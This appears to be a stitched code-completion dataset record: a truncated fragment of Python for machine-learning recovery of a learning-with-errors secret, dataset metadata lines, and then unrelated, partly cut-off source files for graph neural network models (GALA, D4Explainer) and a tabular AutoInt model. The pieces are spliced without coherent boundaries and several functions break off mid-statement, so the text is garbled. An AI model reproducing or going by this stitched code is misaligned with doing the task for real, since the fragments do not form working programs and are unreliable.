".join(combo)}') self.hybrid_sub([methods_dict[m] for m in combo], ", ".join(combo)) def hybrid_sub(self, methods, combo_name): for results in methods: if max(results) == 0: # the scores are non-negative. Hybrid on this combo is useless. return None sum_and_max = np.zeros((4,self.params.N)) for results in methods: # Normalized, sum and max sum_and_max[0] += results/max(results) sum_and_max[1] = np.max((sum_and_max[1], results/max(results)), axis=0) # Ranking, sum and max rank = stats.rankdata(results, method='min') sum_and_max[2] += rank sum_and_max[3] = np.max((sum_and_max[3], rank), axis=0) for i, name in enumerate(['Sum Normalized', 'Max Normalized', 'Sum Rank', 'Max Rank']): idx_w_scores, indices = self.ordered_idx_from_scores(sum_and_max[i]) self.secret_check.match_secret_iter(indices, idx_w_scores, f'{combo_name} - {name}') ######################################################## # CODE TO RUN DIRECT SECRET RECOVERY AND DISTINGUISHER # ######################################################## def run_beam_generation(self, x1_, len1_, encoder, decoder): # Run beam generation to get output. encoded = encoder("fwd", x=x1_, lengths=len1_, causal=False) _, _, generations= decoder.generate_beam(encoded.transpose(0, 1), len1_, beam_size=self.params.beam_size, length_penalty=self.params.beam_length_penalty, early_stopping=self.params.beam_early_stopping, max_len=self.params.max_output_len) beam_log = [] for i in range(len(generations)): sorted_hyp = sorted(generations[i].hyp, key=lambda x: x[0], reverse=True) if len(sorted_hyp) == 0: beam_log.append(0) else: _, hyp = sorted_hyp[0] output = [self.trainer.env.id2word[wid] for wid in hyp[1:].tolist()] try: beam_log.append(self.env.output_encoder.decode(output)[0]) except Exception as e: beam_log.append(-1) return beam_log def predict_outputs(self, A, encoder, decoder, intermediate=False): ''' if intermediate is False then output integers if intermediate is True then output distributions ''' preds = [] # Encodes data in format expected by model encA = self.env.input_encoder.encode(A) encA = [torch.LongTensor([self.env.word2id[w] for w in seq]) for seq in encA] for k in range(0, len(encA), self.params.batch_size): x = encA[k:k+self.params.batch_size] x1, len1 = self.env.batch_sequences(x) x1_, len1_ = to_cuda(x1, len1) preds.extend(self.run_beam_generation(x1_, len1_, encoder, decoder)) return np.array(preds) def run_direct_recovery(self, encoder, decoder): self.direct_results = np.zeros(self.params.N) invert = np.vectorize(lambda x: 1 - x) logger.info('Starting Direct Method') for K in np.random.randint(self.params.Q//4, 3*self.params.Q//4, 15): logger.info(f'Direct: K={K}') specialA = np.identity(self.params.N, dtype=np.int64) * K pred_final = self.predict_outputs(specialA, encoder, decoder) try: pred_softmax = torch.nn.Softmax(dim=0)(torch.Tensor(pred_final)).detach().cpu().numpy() except: logger.info('Error in softmax prediction, secret decoding failed.') continue # 3 methods of testing for matching: mean, mode, and softmax mean pred_bin1 = np.vectorize(lambda x: 0 if x > np.mean(pred_final) else 1)(pred_final) pred_bin2 = np.vectorize(lambda x: 0 if x != stats.mode(pred_final)[0][0] else 1)(pred_final) pred_bin3 = np.vectorize(lambda x: 0 if x > np.mean(pred_softmax) else 1)(pred_softmax) # Match list for match_vec in [pred_bin1, pred_bin2, pred_bin3]: self.secret_check.match_secret(match_vec, 'Direct') self.secret_check.match_secret(invert(match_vec), 'Direct') self.direct_results += pred_softmax idx_w_scores, indices = self.ordered_idx_from_scores(self.direct_results) self.secret_check.match_secret_iter(indices, idx_w_scores, 'Direct') def run_distinguisher(self, encoder, decoder): self.distinguisher_results = np.zeros(self.params.N) logger.info(f'Starting Distinguisher Method') num_samples = self.params.distinguisher_size # Get the A (bkz reduced) and run through the model. A_s = np.array(self.iterator.dataset.getbatchA(num_samples)) lwe_preds0 = self.predict_outputs(A_s, encoder, decoder, intermediate=True) # Prepare the random values to add to each coordinate of A. # The first half in (0.3q, 0.4q), the second half in (0.6q, 0.7q) add_rand = np.random.randint(3*self.params.Q//10, 2*self.params.Q//5, size=num_samples//2) add_rand = np.concatenate([add_rand, add_rand*-1]) lwe_preds = [] for i in range(self.params.N): # Get the A' and run through the model. A_s[:,i] = (A_s[:,i] + add_rand) % self.params.Q # add a random value to the ith coordinate of A lwe_preds.append(self.predict_outputs(A_s, encoder, decoder, intermediate=True)) A_s[:,i] = (A_s[:,i] - add_rand) % self.params.Q # revert change # Recover secret. Higher earth mover's distance -> bit nonzero. Higher mean abs diff -> bit nonzero. self.secret_check.add_log('distinguisher_orig', lwe_preds0) self.secret_check.add_log('distinguisher_bits', lwe_preds) emd_func = 'emd', stats.wasserstein_distance mean_func = 'mean', lambda x,y: np.mean(abs(x-y)) for func_name, get_diff in [emd_func, mean_func]: logger.info(f"Distinguishing 0s using the {func_name}. ") for i in range(self.params.N): self.distinguisher_results[i] = get_diff(lwe_preds[i], lwe_preds0) if self.params.secret_type == 'ternary': try: self.secret_check.add_log(f'Distinguisher Method {func_name}', self.distinguisher_results) ternary_dist = TernaryDistinguisher(self.secret_check, func_name) ternary_dist.run(lwe_preds, self.distinguisher_results, emd_func) ternary_dist.run(lwe_preds, self.distinguisher_results, mean_func) except Exception as e: logger.info(f'Exception in ternary secret distinguisher: {e}') else: sorted_idx_with_scores, indices = self.ordered_idx_from_scores(self.distinguisher_results) self.secret_check.match_secret_iter(indices, sorted_idx_with_scores, f'Distinguisher Method {func_name}') ############################################ # CODE TO RUN CROSS ATTENTION AND CIRC REG # ############################################ def recover_secret_from_crossattention(self, encoder, decoder, scores): """ Guess the secret from the cross attention matrix """
TransformerModel.STORE_OUTPUTS = True
0
2023-10-30 17:53:57+00:00
12k
LFhase/GALA
models/ciga.py
[ { "identifier": "relabel", "path": "utils/get_subgraph.py", "snippet": "def relabel(x, edge_index, batch, pos=None):\n\n num_nodes = x.size(0)\n sub_nodes = torch.unique(edge_index)\n x = x[sub_nodes]\n batch = batch[sub_nodes]\n row, col = edge_index\n # remapping the nodes in the exp...
import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch_geometric.data.batch as DataBatch import torch_scatter from torch_geometric.nn import (ASAPooling, global_add_pool, global_max_pool, global_mean_pool) from utils.get_subgraph import relabel, split_batch from utils.mask import clear_masks, set_masks from models.conv import GNN_node, GNN_node_Virtualnode from models.gnn import GNN, LeGNN from torch.distributions.normal import Normal from torch_geometric.nn import InstanceNorm from torch_geometric.utils import degree from torch_geometric.utils import degree from torch_geometric.utils import degree
7,591
batch.y[labeled], reduction='none' ) # cond_term = torch_scatter.scatter( # cond_term, dim=0, index=data_belong[labeled], # reduce='mean' # ) cond_result.append(cond_term) cond_result = torch.stack(cond_result, dim=0) # [num_domain, batch_size] cond_result = torch.matmul(self.prior.to(device), cond_result) # cond_result = torch.mean(cond_result, dim=0) # [batch_size] y_part = torch.nan_to_num(batch.y).unsqueeze(1).float() env_prob = self.env_pred_linear(torch.cat([h_graph, y_part], dim=-1)) env = torch.argmax(env_prob, dim=-1) # [batch_size] return env, cond_result, data_belong def forward(self, batch, return_data="pred"): causal_pred, causal_rep = self.gnn(batch, get_rep=True) if return_data.lower() == "pred": return causal_pred elif return_data.lower() == "rep": return causal_pred, causal_rep elif return_data.lower() == "feat": #Nothing will happen for ERM return causal_pred, causal_rep else: raise Exception("Not support return type") class GNNPooling(nn.Module): def __init__(self, input_dim, out_dim, edge_dim=-1, emb_dim=300, num_layers=5, ratio=0.25, pooling='asap', gnn_type='gin', virtual_node=True, residual=False, drop_ratio=0.5, JK="last", graph_pooling="mean"): super(GNNPooling, self).__init__() if pooling.lower() == 'asap': # Cancel out the edge attribute when using ASAP pooling # since (1) ASAP not compatible with edge attr # (2) performance of DrugOOD will not be affected w/o edge attr self.pool = ASAPooling(emb_dim, ratio, dropout=drop_ratio) edge_dim = -1 ### GNN to generate node embeddings if gnn_type.lower() == "le": self.gnn_encoder = LeGNN(in_channels=input_dim, hid_channels=emb_dim, num_layer=num_layers, drop_ratio=drop_ratio, num_classes=out_dim, edge_dim=edge_dim) else: if virtual_node: self.gnn_encoder = GNN_node_Virtualnode(num_layers, emb_dim, input_dim=input_dim, JK=JK, drop_ratio=drop_ratio, residual=residual, gnn_type=gnn_type, edge_dim=edge_dim) else: self.gnn_encoder = GNN_node(num_layers, emb_dim, input_dim=input_dim, JK=JK, drop_ratio=drop_ratio, residual=residual, gnn_type=gnn_type, edge_dim=edge_dim) self.ratio = ratio self.pooling = pooling self.classifier = GNN(gnn_type=gnn_type, input_dim=emb_dim, num_class=out_dim, num_layer=num_layers, emb_dim=emb_dim, drop_ratio=drop_ratio, virtual_node=virtual_node, graph_pooling=graph_pooling, residual=residual, JK=JK, edge_dim=edge_dim) def forward(self, batched_data, return_data="pred"): x, edge_index, edge_attr, batch = batched_data.x, batched_data.edge_index, batched_data.edge_attr, batched_data.batch device = x.device h = self.gnn_encoder(batched_data) edge_weight = None #torch.ones(edge_index[0].size()).to(device) x, edge_index, causal_edge_weight, batch, perm = self.pool(h, edge_index, edge_weight=edge_weight, batch=batch) col, row = batched_data.edge_index node_mask = torch.zeros(batched_data.x.size(0)).to(device) node_mask[perm] = 1 edge_mask = node_mask[col] * node_mask[row] if self.pooling.lower() == 'asap': # Cancel out the edge attribute when using ASAP pooling # since (1) ASAP not compatible with edge attr # (2) performance of DrugOOD will not be affected w/o edge attr edge_attr = torch.ones(row.size()).to(device) # causal_x, causal_edge_index, causal_batch, _ = relabel(x, edge_index, batch) causal_x, causal_edge_index, causal_batch = x, edge_index, batch causal_graph = DataBatch.Batch(batch=causal_batch, edge_index=causal_edge_index, x=causal_x, edge_attr=edge_attr)
class GNNERM(nn.Module): def __init__(self, input_dim, out_dim, edge_dim=-1, emb_dim=300, num_layers=5, ratio=0.25, gnn_type='gin', virtual_node=True, residual=False, drop_ratio=0.5, JK="last", graph_pooling="mean"): super(GNNERM, self).__init__() self.classifier = GNN(gnn_type=gnn_type, input_dim=input_dim, num_class=out_dim, num_layer=num_layers, emb_dim=emb_dim, drop_ratio=drop_ratio, virtual_node=virtual_node, graph_pooling=graph_pooling, residual=residual, JK=JK, edge_dim=edge_dim) def forward(self, batch, return_data="pred"): causal_pred, causal_rep = self.classifier(batch, get_rep=True) if return_data.lower() == "pred": return causal_pred elif return_data.lower() == "rep": return causal_pred, causal_rep elif return_data.lower() == "feat": #Nothing will happen for ERM return causal_pred, causal_rep else: raise Exception("Not support return type") def bce_log(pred, gt, eps=1e-8): prob = torch.sigmoid(pred) return -(gt * torch.log(prob + eps) + (1 - gt) * torch.log(1 - prob + eps)) def discrete_gaussian(nums, std=1): Dist = Normal(loc=0, scale=1) plen, halflen = std * 6 / nums, std * 3 / nums posx = torch.arange(-3 * std + halflen, 3 * std, plen) result = Dist.cdf(posx + halflen) - Dist.cdf(posx - halflen) return result / result.sum() def KLDist(p, q, eps=1e-8): log_p, log_q = torch.log(p + eps), torch.log(q + eps) return torch.sum(p * (log_p - log_q)) class GNNEnv(nn.Module): def __init__(self, input_dim, out_dim, edge_dim=-1, emb_dim=300, num_layers=5, ratio=0.25, gnn_type='gin', virtual_node=True, residual=False, drop_ratio=0.5, JK="last", graph_pooling="mean", num_envs=2, prior="uniform"): super(GNNEnv, self).__init__() self.gnn = GNN(gnn_type=gnn_type, input_dim=input_dim, num_class=out_dim, num_layer=num_layers, emb_dim=emb_dim, drop_ratio=drop_ratio, virtual_node=virtual_node, graph_pooling=graph_pooling, residual=residual, JK=JK, edge_dim=edge_dim) self.num_envs = num_envs self.num_tasks = out_dim # env inference self.env_pred_linear = torch.nn.Linear(emb_dim+1, num_envs) # conditional gnn self.class_emb = torch.nn.Parameter( torch.zeros(num_envs, emb_dim) ) self.env_label_pred_linear = torch.nn.Linear(emb_dim + emb_dim, out_dim) # main gnn self.graph_label_pred_linear = torch.nn.Linear(emb_dim, out_dim) if prior == 'uniform': self.prior = torch.ones(self.num_envs) / self.num_envs else: self.prior = discrete_gaussian(self.num_envs) def get_env_loss(self,batch,criterion): h_graph = self.gnn.forward_rep(batch) y_part = torch.nan_to_num(batch.y).float().unsqueeze(1) env_prob = self.env_pred_linear(torch.cat([h_graph, y_part], dim=-1)) q_e = torch.softmax(env_prob, dim=-1) batch_size = h_graph.size(0) device = h_graph.device losses = [] for dom in range(self.num_envs): domain_info = torch.ones(batch_size).long().to(device) domain_feat = torch.index_select(self.class_emb, 0, domain_info*dom) p_ye = self.env_label_pred_linear(torch.cat([h_graph, domain_feat], dim=1)) labeled = batch.y == batch.y # there are nan in the labels so use this to mask them # and this is a multitask binary classification # data_belong = torch.arange(batch_size).long() # data_belong = data_belong.unsqueeze(dim=-1).to(device) # data_belong = data_belong.repeat(1, self.num_tasks) # [batch_size, num_tasks] same as p_ye loss = criterion(p_ye[labeled], batch.y[labeled],reduction='none') # shape: [numbers of not nan gts] # batch_loss = torch_scatter.scatter( # loss, dim=0, index=data_belong[labeled], # reduce='mean' # ) # [batch_size] # considering the dataset is a multitask binary # classification task, the process above is to # get a average loss among all the tasks, # when there is only one task, it's equilvant to # bce_with_logit without reduction losses.append(loss) losses = torch.stack(losses, dim=1) # [batch_size, num_domain] Eq = torch.mean(torch.sum(q_e * losses, dim=-1)) ELBO = Eq + KLDist(q_e, self.prior.to(device)) return ELBO def forward_env(self,batch,criterion): batch_size = batch.y.size(0) device = batch.y.device labeled = batch.y == batch.y data_belong = torch.arange(batch_size).long() data_belong = data_belong.unsqueeze(dim=-1).to(device) data_belong = data_belong.repeat(1, self.num_tasks) with torch.no_grad(): self.eval() h_graph = self.gnn.forward_rep(batch) cond_result = [] for dom in range(self.num_envs): domain_info = torch.ones(batch_size).long().to(device) # domain_info = (domain_info * dom).to(device) domain_feat = torch.index_select(self.class_emb, 0, domain_info*dom) cond_term = criterion( self.env_label_pred_linear(torch.cat([h_graph, domain_feat], dim=1))[labeled], batch.y[labeled], reduction='none' ) # cond_term = torch_scatter.scatter( # cond_term, dim=0, index=data_belong[labeled], # reduce='mean' # ) cond_result.append(cond_term) cond_result = torch.stack(cond_result, dim=0) # [num_domain, batch_size] cond_result = torch.matmul(self.prior.to(device), cond_result) # cond_result = torch.mean(cond_result, dim=0) # [batch_size] y_part = torch.nan_to_num(batch.y).unsqueeze(1).float() env_prob = self.env_pred_linear(torch.cat([h_graph, y_part], dim=-1)) env = torch.argmax(env_prob, dim=-1) # [batch_size] return env, cond_result, data_belong def forward(self, batch, return_data="pred"): causal_pred, causal_rep = self.gnn(batch, get_rep=True) if return_data.lower() == "pred": return causal_pred elif return_data.lower() == "rep": return causal_pred, causal_rep elif return_data.lower() == "feat": #Nothing will happen for ERM return causal_pred, causal_rep else: raise Exception("Not support return type") class GNNPooling(nn.Module): def __init__(self, input_dim, out_dim, edge_dim=-1, emb_dim=300, num_layers=5, ratio=0.25, pooling='asap', gnn_type='gin', virtual_node=True, residual=False, drop_ratio=0.5, JK="last", graph_pooling="mean"): super(GNNPooling, self).__init__() if pooling.lower() == 'asap': # Cancel out the edge attribute when using ASAP pooling # since (1) ASAP not compatible with edge attr # (2) performance of DrugOOD will not be affected w/o edge attr self.pool = ASAPooling(emb_dim, ratio, dropout=drop_ratio) edge_dim = -1 ### GNN to generate node embeddings if gnn_type.lower() == "le": self.gnn_encoder = LeGNN(in_channels=input_dim, hid_channels=emb_dim, num_layer=num_layers, drop_ratio=drop_ratio, num_classes=out_dim, edge_dim=edge_dim) else: if virtual_node: self.gnn_encoder = GNN_node_Virtualnode(num_layers, emb_dim, input_dim=input_dim, JK=JK, drop_ratio=drop_ratio, residual=residual, gnn_type=gnn_type, edge_dim=edge_dim) else: self.gnn_encoder = GNN_node(num_layers, emb_dim, input_dim=input_dim, JK=JK, drop_ratio=drop_ratio, residual=residual, gnn_type=gnn_type, edge_dim=edge_dim) self.ratio = ratio self.pooling = pooling self.classifier = GNN(gnn_type=gnn_type, input_dim=emb_dim, num_class=out_dim, num_layer=num_layers, emb_dim=emb_dim, drop_ratio=drop_ratio, virtual_node=virtual_node, graph_pooling=graph_pooling, residual=residual, JK=JK, edge_dim=edge_dim) def forward(self, batched_data, return_data="pred"): x, edge_index, edge_attr, batch = batched_data.x, batched_data.edge_index, batched_data.edge_attr, batched_data.batch device = x.device h = self.gnn_encoder(batched_data) edge_weight = None #torch.ones(edge_index[0].size()).to(device) x, edge_index, causal_edge_weight, batch, perm = self.pool(h, edge_index, edge_weight=edge_weight, batch=batch) col, row = batched_data.edge_index node_mask = torch.zeros(batched_data.x.size(0)).to(device) node_mask[perm] = 1 edge_mask = node_mask[col] * node_mask[row] if self.pooling.lower() == 'asap': # Cancel out the edge attribute when using ASAP pooling # since (1) ASAP not compatible with edge attr # (2) performance of DrugOOD will not be affected w/o edge attr edge_attr = torch.ones(row.size()).to(device) # causal_x, causal_edge_index, causal_batch, _ = relabel(x, edge_index, batch) causal_x, causal_edge_index, causal_batch = x, edge_index, batch causal_graph = DataBatch.Batch(batch=causal_batch, edge_index=causal_edge_index, x=causal_x, edge_attr=edge_attr)
set_masks(causal_edge_weight, self.classifier)
3
2023-10-30 16:57:56+00:00
12k
Graph-and-Geometric-Learning/D4Explainer
explainers/diff_explainer.py
[ { "identifier": "Explainer", "path": "explainers/base.py", "snippet": "class Explainer(object):\n def __init__(self, device, gnn_model_path, task=\"gc\"):\n self.device = device\n self.model = torch.load(gnn_model_path, map_location=self.device).to(self.device)\n self.model.eval(...
import os import numpy as np import torch from torch_geometric.loader import DataLoader from torch_geometric.utils import to_undirected from explainers.base import Explainer from explainers.diffusion.graph_utils import ( gen_full, gen_list_of_data_single, generate_mask, graph2tensor, tensor2graph, ) from explainers.diffusion.pgnn import Powerful
8,674
x=graph_batch.x, edge_index=graph_batch.edge_index, mapping=graph_batch.mapping, ) output_prob_sub, _ = gnn_model.get_node_pred_subgraph( x=graph_batch_sub.x, edge_index=graph_batch_sub.edge_index, mapping=graph_batch_sub.mapping, ) else: output_prob, _ = gnn_model.get_pred( x=graph_batch.x, edge_index=graph_batch.edge_index, batch=graph_batch.batch, ) output_prob_sub, _ = gnn_model.get_pred( x=graph_batch_sub.x, edge_index=graph_batch_sub.edge_index, batch=graph_batch_sub.batch, ) y_pred = output_prob.argmax(dim=-1) y_exp = output_prob_sub.argmax(dim=-1) return y_pred, y_exp def loss_cf_exp(gnn_model, graph_batch, score, y_pred, y_exp, full_edge, mask, ds, task="nc"): """ Loss function for counterfactual explanation :param gnn_model: GNN model :param graph_batch: graph batch :param score: list of scores :param y_pred: predicted labels :param y_exp: predicted labels for subgraph :param full_edge: full edge index :param mask: mask :param ds: dataset :param task: task :return: loss """ score_tensor = torch.stack(score, dim=0).squeeze(-1) score_tensor = torch.mean(score_tensor, dim=0).view(-1, 1) mask_bool = mask.bool().view(-1, 1) edge_mask_full = score_tensor[mask_bool] assert edge_mask_full.size(0) == full_edge.size(1) criterion = torch.nn.NLLLoss() if task == "nc": output_prob_cont, output_repr_cont = gnn_model.get_pred_explain( x=graph_batch.x, edge_index=full_edge, edge_mask=edge_mask_full, mapping=graph_batch.mapping, ) else: output_prob_cont, output_repr_cont = gnn_model.get_pred_explain( x=graph_batch.x, edge_index=full_edge, edge_mask=edge_mask_full, batch=graph_batch.batch, ) n = output_repr_cont.size(-1) bsz = output_repr_cont.size(0) y_exp = output_prob_cont.argmax(dim=-1) inf_diag = torch.diag(-torch.ones((n)) / 0).unsqueeze(0).repeat(bsz, 1, 1).to(y_pred.device) neg_prop = (output_repr_cont.unsqueeze(1).expand(bsz, n, n) + inf_diag).logsumexp(-1) neg_prop = neg_prop - output_repr_cont.logsumexp(-1).unsqueeze(1).repeat(1, n) loss_cf = criterion(neg_prop, y_pred) labels = torch.LongTensor([[i] for i in y_pred]).to(y_pred.device) fid_drop = (1 - output_prob_cont.gather(1, labels).view(-1)).detach().cpu().numpy() fid_drop = np.mean(fid_drop) acc_cf = float(y_exp.eq(y_pred).sum().item() / y_pred.size(0)) # less, better return loss_cf, fid_drop, acc_cf class DiffExplainer(Explainer): def __init__(self, device, gnn_model_path): super(DiffExplainer, self).__init__(device, gnn_model_path) def explain_graph_task(self, args, train_dataset, test_dataset): """ Explain the graph for a specific dataset and task :param args: arguments :param train_dataset: training dataset :param test_dataset: test dataset """ gnn_model = self.model.to(args.device) model = Powerful(args).to(args.device) self.train(args, model, gnn_model, train_dataset, test_dataset) def train(self, args, model, gnn_model, train_dataset, test_dataset): """ Train the model :param args: arguments :param model: Powerful (explanation) model :param gnn_model: GNN model :param train_dataset: training dataset :param test_dataset: test dataset """ best_sparsity = np.inf optimizer = torch.optim.Adam( model.parameters(), lr=args.learning_rate, betas=(0.9, 0.999), eps=1e-8, weight_decay=args.weight_decay ) scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=args.lr_decay) noise_list = args.noise_list for epoch in range(args.epoch): print(f"start epoch {epoch}") train_losses = [] train_loss_dist = [] train_loss_cf = [] train_acc = [] train_fid = [] train_sparsity = [] train_remain = [] model.train() train_loader = DataLoader(train_dataset, batch_size=args.train_batchsize, shuffle=True) for i, graph in enumerate(train_loader): if graph.is_directed(): edge_index_temp = graph.edge_index graph.edge_index = to_undirected(edge_index=edge_index_temp) graph.to(args.device)
def model_save(args, model, mean_train_loss, best_sparsity, mean_test_acc): """ Save the model to disk :param args: arguments :param model: model :param mean_train_loss: mean training loss :param best_sparsity: best sparsity :param mean_test_acc: mean test accuracy """ to_save = { "model": model.state_dict(), "train_loss": mean_train_loss, "eval sparsity": best_sparsity, "eval acc": mean_test_acc, } exp_dir = f"{args.root}/{args.dataset}/" os.makedirs(exp_dir, exist_ok=True) torch.save(to_save, os.path.join(exp_dir, "best_model.pth")) print(f"save model to {exp_dir}/best_model.pth") def loss_func_bce(score_list, groundtruth, sigma_list, mask, device, sparsity_level): """ Loss function for binary cross entropy param score_list: [len(sigma_list)*bsz, N, N] param groundtruth: [len(sigma_list)*bsz, N, N] param sigma_list: list of sigma values param mask: [len(sigma_list)*bsz, N, N] param device: device param sparsity_level: sparsity level return: BCE loss """ bsz = int(score_list.size(0) / len(sigma_list)) num_node = score_list.size(-1) score_list = score_list * mask groundtruth = groundtruth * mask pos_weight = torch.full([num_node * num_node], sparsity_level).to(device) BCE = torch.nn.BCEWithLogitsLoss(pos_weight=pos_weight, reduction="none") score_list_ = torch.flatten(score_list, start_dim=1, end_dim=-1) groundtruth_ = torch.flatten(groundtruth, start_dim=1, end_dim=-1) loss_matrix = BCE(score_list_, groundtruth_) loss_matrix = loss_matrix.view(groundtruth.size(0), num_node, num_node) loss_matrix = loss_matrix * ( 1 - 2 * torch.tensor(sigma_list) .repeat(bsz) .unsqueeze(-1) .unsqueeze(-1) .expand(groundtruth.size(0), num_node, num_node) .to(device) + 1.0 / len(sigma_list) ) loss_matrix = loss_matrix * mask loss_matrix = (loss_matrix + torch.transpose(loss_matrix, -2, -1)) / 2 loss = torch.mean(loss_matrix) return loss def sparsity(score, groundtruth, mask, threshold=0.5): """ Calculate the sparsity of the predicted adjacency matrix :param score: [bsz, N, N, 1] :param groundtruth: [bsz, N, N] :param mask: [bsz, N, N] :param threshold: threshold for the predicted adjacency matrix :return: sparsity """ score_tensor = torch.stack(score, dim=0).squeeze(-1) # [len_sigma_list, bsz, N, N] score_tensor = torch.mean(score_tensor, dim=0) # [bsz, N, N] pred_adj = torch.where(torch.sigmoid(score_tensor) > threshold, 1, 0).to(groundtruth.device) pred_adj = pred_adj * mask groundtruth_ = groundtruth * mask adj_diff = torch.abs(groundtruth_ - pred_adj) # [bsz, N, N] num_edge_b = groundtruth_.sum(dim=(1, 2)) adj_diff_ratio = adj_diff.sum(dim=(1, 2)) / num_edge_b ratio_average = torch.mean(adj_diff_ratio) return ratio_average def gnn_pred(graph_batch, graph_batch_sub, gnn_model, ds, task): """ Predict the labels of the graph :param graph_batch: graph batch :param graph_batch_sub: subgraph batch :param gnn_model: GNN model :param ds: dataset :param task: task :return: predicted labels (full graph and subgraph) """ gnn_model.eval() if task == "nc": output_prob, _ = gnn_model.get_node_pred_subgraph( x=graph_batch.x, edge_index=graph_batch.edge_index, mapping=graph_batch.mapping, ) output_prob_sub, _ = gnn_model.get_node_pred_subgraph( x=graph_batch_sub.x, edge_index=graph_batch_sub.edge_index, mapping=graph_batch_sub.mapping, ) else: output_prob, _ = gnn_model.get_pred( x=graph_batch.x, edge_index=graph_batch.edge_index, batch=graph_batch.batch, ) output_prob_sub, _ = gnn_model.get_pred( x=graph_batch_sub.x, edge_index=graph_batch_sub.edge_index, batch=graph_batch_sub.batch, ) y_pred = output_prob.argmax(dim=-1) y_exp = output_prob_sub.argmax(dim=-1) return y_pred, y_exp def loss_cf_exp(gnn_model, graph_batch, score, y_pred, y_exp, full_edge, mask, ds, task="nc"): """ Loss function for counterfactual explanation :param gnn_model: GNN model :param graph_batch: graph batch :param score: list of scores :param y_pred: predicted labels :param y_exp: predicted labels for subgraph :param full_edge: full edge index :param mask: mask :param ds: dataset :param task: task :return: loss """ score_tensor = torch.stack(score, dim=0).squeeze(-1) score_tensor = torch.mean(score_tensor, dim=0).view(-1, 1) mask_bool = mask.bool().view(-1, 1) edge_mask_full = score_tensor[mask_bool] assert edge_mask_full.size(0) == full_edge.size(1) criterion = torch.nn.NLLLoss() if task == "nc": output_prob_cont, output_repr_cont = gnn_model.get_pred_explain( x=graph_batch.x, edge_index=full_edge, edge_mask=edge_mask_full, mapping=graph_batch.mapping, ) else: output_prob_cont, output_repr_cont = gnn_model.get_pred_explain( x=graph_batch.x, edge_index=full_edge, edge_mask=edge_mask_full, batch=graph_batch.batch, ) n = output_repr_cont.size(-1) bsz = output_repr_cont.size(0) y_exp = output_prob_cont.argmax(dim=-1) inf_diag = torch.diag(-torch.ones((n)) / 0).unsqueeze(0).repeat(bsz, 1, 1).to(y_pred.device) neg_prop = (output_repr_cont.unsqueeze(1).expand(bsz, n, n) + inf_diag).logsumexp(-1) neg_prop = neg_prop - output_repr_cont.logsumexp(-1).unsqueeze(1).repeat(1, n) loss_cf = criterion(neg_prop, y_pred) labels = torch.LongTensor([[i] for i in y_pred]).to(y_pred.device) fid_drop = (1 - output_prob_cont.gather(1, labels).view(-1)).detach().cpu().numpy() fid_drop = np.mean(fid_drop) acc_cf = float(y_exp.eq(y_pred).sum().item() / y_pred.size(0)) # less, better return loss_cf, fid_drop, acc_cf class DiffExplainer(Explainer): def __init__(self, device, gnn_model_path): super(DiffExplainer, self).__init__(device, gnn_model_path) def explain_graph_task(self, args, train_dataset, test_dataset): """ Explain the graph for a specific dataset and task :param args: arguments :param train_dataset: training dataset :param test_dataset: test dataset """ gnn_model = self.model.to(args.device) model = Powerful(args).to(args.device) self.train(args, model, gnn_model, train_dataset, test_dataset) def train(self, args, model, gnn_model, train_dataset, test_dataset): """ Train the model :param args: arguments :param model: Powerful (explanation) model :param gnn_model: GNN model :param train_dataset: training dataset :param test_dataset: test dataset """ best_sparsity = np.inf optimizer = torch.optim.Adam( model.parameters(), lr=args.learning_rate, betas=(0.9, 0.999), eps=1e-8, weight_decay=args.weight_decay ) scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=args.lr_decay) noise_list = args.noise_list for epoch in range(args.epoch): print(f"start epoch {epoch}") train_losses = [] train_loss_dist = [] train_loss_cf = [] train_acc = [] train_fid = [] train_sparsity = [] train_remain = [] model.train() train_loader = DataLoader(train_dataset, batch_size=args.train_batchsize, shuffle=True) for i, graph in enumerate(train_loader): if graph.is_directed(): edge_index_temp = graph.edge_index graph.edge_index = to_undirected(edge_index=edge_index_temp) graph.to(args.device)
train_adj_b, train_x_b = graph2tensor(graph, device=args.device)
4
2023-10-28 19:58:40+00:00
12k
pytabular-ai/auto-scikit-dl
models/autoint.py
[ { "identifier": "get_activation_fn", "path": "utils/deep.py", "snippet": "def get_activation_fn(name: str) -> ty.Callable[[Tensor], Tensor]:\n return (\n reglu\n if name == 'reglu'\n else geglu\n if name == 'geglu'\n else torch.sigmoid\n if name == 'sigmoid'\...
import math import time import typing as ty import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.nn.init as nn_init from pathlib import Path from torch.utils.data import DataLoader from torch import Tensor from utils.deep import get_activation_fn from models.abstract import TabModel, check_dir
7,693
x_residual = self._start_residual(x, layer, 0) x_residual = layer['attention']( x_residual, x_residual, *self._get_kv_compressions(layer), ) x = layer['linear'](x) x = self._end_residual(x, x_residual, layer, 0) x = self.activation(x) x = x.flatten(1, 2) x = self.head(x) x = x.squeeze(-1) return x # %% class AutoInt(TabModel): def __init__( self, model_config: dict, n_num_features: int, categories: ty.Optional[ty.List[int]], n_labels: int, device: ty.Union[str, torch.device] = 'cuda', ): super().__init__() model_config = self.preproc_config(model_config) self.model = _AutoInt( d_numerical=n_num_features, categories=categories, d_out=n_labels, **model_config ).to(device) self.base_name = 'autoint' self.device = torch.device(device) def preproc_config(self, model_config: dict): # process autoint configs self.saved_model_config = model_config.copy() return model_config def fit( self, # API for specical sampler like curriculum learning train_loader: ty.Optional[ty.Tuple[DataLoader, int]] = None, # (loader, missing_idx) # using normal sampler if is None X_num: ty.Optional[torch.Tensor] = None, X_cat: ty.Optional[torch.Tensor] = None, ys: ty.Optional[torch.Tensor] = None, y_std: ty.Optional[float] = None, # for RMSE eval_set: ty.Tuple[torch.Tensor, np.ndarray] = None, patience: int = 0, task: str = None, training_args: dict = None, meta_args: ty.Optional[dict] = None, ): def train_step(model, x_num, x_cat, y): # input is X and y # process input (model-specific) # define your model API start_time = time.time() # define your model API logits = model(x_num, x_cat) used_time = time.time() - start_time return logits, used_time # to custom other training paradigm # 1. add self.dnn_fit2(...) in abstract class for special training process # 2. (recommended) override self.dnn_fit in abstract class self.dnn_fit( # uniform training paradigm dnn_fit_func=train_step, # training data train_loader=train_loader, X_num=X_num, X_cat=X_cat, ys=ys, y_std=y_std, # dev data eval_set=eval_set, patience=patience, task=task, # args training_args=training_args, meta_args=meta_args, ) def predict( self, dev_loader: ty.Optional[ty.Tuple[DataLoader, int]] = None, # reuse, (loader, missing_idx) X_num: ty.Optional[torch.Tensor] = None, X_cat: ty.Optional[torch.Tensor] 